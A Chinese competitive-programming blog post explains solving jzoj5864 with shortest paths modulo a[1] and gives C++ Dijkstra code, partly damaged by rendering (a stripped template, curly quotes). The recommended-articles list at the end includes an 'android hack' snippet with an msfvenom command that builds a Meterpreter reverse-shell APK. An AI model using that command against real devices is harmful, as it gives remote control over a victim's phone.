jzoj5864
本來這道題該100的,沒想到考試沒想最短路,直接跑暴力了
實際上這道題有原題跳樓機
那道題在模x的意義下統計答案
現在,我們要統計n個數的答案
30pts為提高組原題
剩下70pts,可以記dis[i]表示在模a[1]意義下為i,由a[2]~a[n]可以組合而成的最小數
則i介於0~a[1]-1 ,由於a[1]很小,不會爆炸
每一次從i~(i+a[j])%a[1]連邊權為a[j]的邊,代表我們需要a[j]的代價將模a[1]意義下為i的最小值轉變為(i+a[j])%a[1]
跑完最短路之後,我們就對dis[0~a[1]-1]取max,max為在模i意義下最小不能表示出來的數+i
所以答案為max-i
代碼:
#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
ll n,h[1000010],nxt[1000020],v[1000020],w[1000020],ec,vis[1000020],d[1000010],x[10];
void add(ll a,ll b,ll c){v[++ec]=b;w[ec]=c;nxt[ec]=h[a];h[a]=ec;}
struct no{
ll d,x;
bool operator <(const no &rhs)const{
return d>rhs.d;
}
};
void dij(ll s){
priority_queueq;
q.push((no){0,s});
for(ll i=0;i<=1000000;i++)d[i]=LONG_LONG_MAX/3;
d[s]=0;
while(!q.empty()){
no x=q.top();q.pop();
if(vis[x.x])continue;
vis[x.x]=true;
for(int i=h[x.x];i;i=nxt[i])
if(d[v[i]]>d[x.x]+w[i]){
d[v[i]]=d[x.x]+w[i];
q.push((no){d[v[i]],v[i]});
}
}
}
int main(){
freopen(“sequence.in”,“r”,stdin);
freopen(“sequence.out”,“w”,stdout);
scanf("%lld",&n);
for(ll i=1;i<=n;i++)
scanf("%lld",&x[i]);
if(n==2){
printf("%lld",x[1]*x[2]-x[1]-x[2]);
return 0;
}
ll ans=0;
for(ll i=0;i<x[1];i++)
for(ll j=2;j<=n;j++)
add(i,(i+x[j])%x[1],x[j]);
dij(0);
for(ll i=0;i<x[1];i++)
ans=max(ans,d[i]);
printf("%lld\n",ans-x[1]);
}
jzoj5864的更多相关文章
随机推荐
- Devexpress RichEditControl 导入word文件后字体变为方正姚体的解决方案
最近在做一个排版软件,用过RichEditControl 导入外部Word文件的时候,发现导的文件后字体会变成“方正姚体”,官方这个BUG至少在V16.1版本尚未解决,翻阅了大量资料,发现 DevEx ...
- Zookeeper 系列(二)安装配制
Zookeeper 系列(二)安装配制 一.Zookeeper 的搭建方式 Zookeeper 安装方式有三种,单机模式和集群模式以及伪集群模式. 单机模式 :Zookeeper 只运行在一台服务器上 ...
- 使用Application Center Test (ACT)来做压力测试 【转】
在我们完成了基于SPS2003的开发,实现了我们的具体应用以后,我们是不是就可以直接请用户来使用了呢?如果我这么做,那么有经验的开发人员一定会对此嗤之以鼻:居然连压力测试也不做!真是不想活了…… 呵呵 ...
- Devexpress VCL Build v2013 vol 14.1.3 发布
我修,我修,修修修. New Major Features in 14.1 What's New in VCL Products 14.1 Breaking Changes To learn abou ...
- Wifi小车资料
下位机代码 #include <avr/wdt.h> #include <SoftwareSerial.h> #include <EEPROM.h> //设置系统启 ...
- 【转】Paxos算法3-实现探讨
——转自:{老码农的专栏} 前两篇Paxos算法的讨论,让我们对paxos算法的理论形成过程有了大概的了解,但距离其成为一个可执行的算法程序还有很长的路要走,原因是很多的细节和错误未被考虑.Googl ...
- VBA替换函数
Sub test() On Error Resume Next Dim arr1, arr2, i, j arr1 = Range("T1:EI3") arr2 = Range(& ...
- [可用]android hack
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.237 LPORT=4444 R > shell.apk service ...
- 关于Python Package下的Module import方式[转]
2012年有一个目标我没有达成,那就是深入学习和使用Python语言.这个目标被其他学习任务和工作无情的抢占了,当然最主要的原因还是我重视不够^_^. 近期恰逢有一些Python工程的开发工作要做,就 ...
- AQS详解(AbstractQueuedSynchronizer)
Intrinsic VS explicity 1. 不一定保证公平 1. 提供公平和非公平的选择 2. 无 2. 提供超时的 ...